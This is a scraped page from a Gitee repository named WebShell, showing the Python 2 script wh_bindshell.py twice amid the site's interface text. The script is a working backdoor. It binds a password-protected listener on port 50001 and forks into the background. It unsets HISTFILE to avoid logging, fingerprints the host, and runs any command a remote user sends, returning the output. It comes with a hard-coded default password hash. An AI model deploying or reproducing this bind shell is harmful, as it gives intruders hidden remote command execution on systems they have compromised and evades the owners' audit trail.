python/wh_bindshell.py · Nuet/WebShell

代码拉取完成,页面将自动刷新

richgiteeai

Watch

不关注关注所有动态仅关注版本发行动态关注但不提醒动态

1 Star 0 Fork 1

Nuet/WebShell

forked from Handsome/WebShell

代码 Issues 0 Pull Requests 0 Wiki 统计流水线

服务

加入 Gitee

与超过 1400万开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)

免费加入

已有帐号? 立即登录

文件

master

分支 (1)

管理

master

该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。

项目仓库所选许可证以仓库主分支所使用许可证为准

克隆/下载

HTTPS SSH SVN SVN+SSH 下载ZIP

提示

下载代码请复制以下命令到终端执行

为确保你提交的代码身份被 Gitee 正确识别,请执行以下命令完成配置

git config --global user.name userName 
git config --global user.email userEmail

初次使用 SSH 协议进行代码克隆、推送等操作时,需按下述提示完成 SSH 配置

1 生成 RSA 密钥

2 获取 RSA 公钥内容,并配置到 SSH公钥中

在 Gitee 上使用 SVN,请访问使用指南

使用 HTTPS 协议时,命令行会出现如下账号密码验证步骤。基于安全考虑,Gitee 建议配置并使用私人令牌替代登录密码进行克隆、推送等操作

Username for 'https://gitee.com': userName

Password for 'https://userName@gitee.com': # 私人令牌

分支 1

标签 0

WebShell

python

wh_bindshell.py

wh_bindshell.py 2.95 KB

#!/usr/bin/env python
#####################
#Coded by ~S/E/r/G~
#mailto:serg[dot]web-hack.ru
#version 1.2.1
#
#Use: python wh_bindshell.py [port] [password] | python wh_bindshell.py - for use
# default_settings
#for make password:
# python -c"import md5;x=md5.new('you_password');print x.hexdigest()"
#
#bugz: ctrl+c etc =script stoped=\ (after reconnect it work)

from socket import *
import os
import sys
import md5
import popen2

#############_Default_#####################
Port=50001 #_default port
Pass ='ac0b72df8bd2939ca4d1466d11c9846b' #_default password ='web-hack'
simvol='$ ' #_prompt
autocommands="unset HISTFILE;uname -a;id" #autostart=)
kill_bsh='kbsh' #command for kill bindshell
##########################################
if len(sys.argv)>1:
 Port=int(sys.argv[1])
 print '[+]Port=',sys.argv[1]
 if len(sys.argv)>2:
 Pass=str(md5.new(sys.argv[2]).hexdigest())
	print '[+]New_pass'

try:
 sockobj=socket(AF_INET,SOCK_STREAM)
 sockobj.bind(('',Port))
 sockobj.listen(5)
except:
 print '[-]SocketError',sys.exc_value
 sys.exit(1)

if os.fork()==0: #for start bindshell as proc and exit
 while 1:
 connection,address=sockobj.accept()
 data=connection.recv(1024)
 getpass=md5.new(data[:-2])
 bsh_pid=os.getpid()
 if getpass.hexdigest()==Pass:
 if os.fork()==0: 
 info=os.popen(autocommands).read()
 connection.send(info)
 while 1:
 data=connection.recv(1024)
 if not data:break
 if data[:-2]==kill_bsh:
 os.popen('kill '+str(bsh_pid))
 sys.exit(0)
 cmd_res,stdin,stderror=popen2.popen3(data[:-2])
 result= cmd_res.read()
 error=stderror.read()
 if error:
 connection.send(error) 
 
 for i in range(len(data.split())-1):
 if 'cd' in data.split()[i]:
 try: 
 os.chdir(data.split()[i+1].split(';')[0])
 except:
 error='[-]Error '+str(sys.exc_value)+'\n'
 connection.send(error)
 ###Prompt
 username=os.popen("whoami").read()
 adr=os.popen("uname -n").read()
 if username[:-1]=='root':
 simvol='# '
 path=os.getcwd()
 promt='['+username[:-1]+'@'+adr[:-1]+' '+path+']'+simvol
 ### 
 answer=result+promt
 connection.send(answer)
 else:
 connection.close() 
sys.exit(0)

一键复制编辑原始数据按行查看历史

xl7dev 提交于 2016年03月07日 14:20 +08:00 . update

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86

#!/usr/bin/env python
#####################
#Coded by ~S/E/r/G~
#mailto:serg[dot]web-hack.ru
#version 1.2.1
#
#Use: python wh_bindshell.py [port] [password] | python wh_bindshell.py - for use
# default_settings
#for make password:
# python -c"import md5;x=md5.new('you_password');print x.hexdigest()"
#
#bugz: ctrl+c etc =script stoped=\ (after reconnect it work)

from socket import *
import os
import sys
import md5
import popen2

#############_Default_#####################
Port=50001 #_default port
Pass ='ac0b72df8bd2939ca4d1466d11c9846b' #_default password ='web-hack'
simvol='$ ' #_prompt
autocommands="unset HISTFILE;uname -a;id" #autostart=)
kill_bsh='kbsh' #command for kill bindshell
##########################################
if len(sys.argv)>1:
 Port=int(sys.argv[1])
 print '[+]Port=',sys.argv[1]
 if len(sys.argv)>2:
 Pass=str(md5.new(sys.argv[2]).hexdigest())
	print '[+]New_pass'

try:
 sockobj=socket(AF_INET,SOCK_STREAM)
 sockobj.bind(('',Port))
 sockobj.listen(5)
except:
 print '[-]SocketError',sys.exc_value
 sys.exit(1)

if os.fork()==0: #for start bindshell as proc and exit
 while 1:
 connection,address=sockobj.accept()
 data=connection.recv(1024)
 getpass=md5.new(data[:-2])
 bsh_pid=os.getpid()
 if getpass.hexdigest()==Pass:
 if os.fork()==0: 
 info=os.popen(autocommands).read()
 connection.send(info)
 while 1:
 data=connection.recv(1024)
 if not data:break
 if data[:-2]==kill_bsh:
 os.popen('kill '+str(bsh_pid))
 sys.exit(0)
 cmd_res,stdin,stderror=popen2.popen3(data[:-2])
 result= cmd_res.read()
 error=stderror.read()
 if error:
 connection.send(error) 
 
 for i in range(len(data.split())-1):
 if 'cd' in data.split()[i]:
 try: 
 os.chdir(data.split()[i+1].split(';')[0])
 except:
 error='[-]Error '+str(sys.exc_value)+'\n'
 connection.send(error)
 ###Prompt
 username=os.popen("whoami").read()
 adr=os.popen("uname -n").read()
 if username[:-1]=='root':
 simvol='# '
 path=os.getcwd()
 promt='['+username[:-1]+'@'+adr[:-1]+' '+path+']'+simvol
 ### 
 answer=result+promt
 connection.send(answer)
 else:
 connection.close() 
sys.exit(0)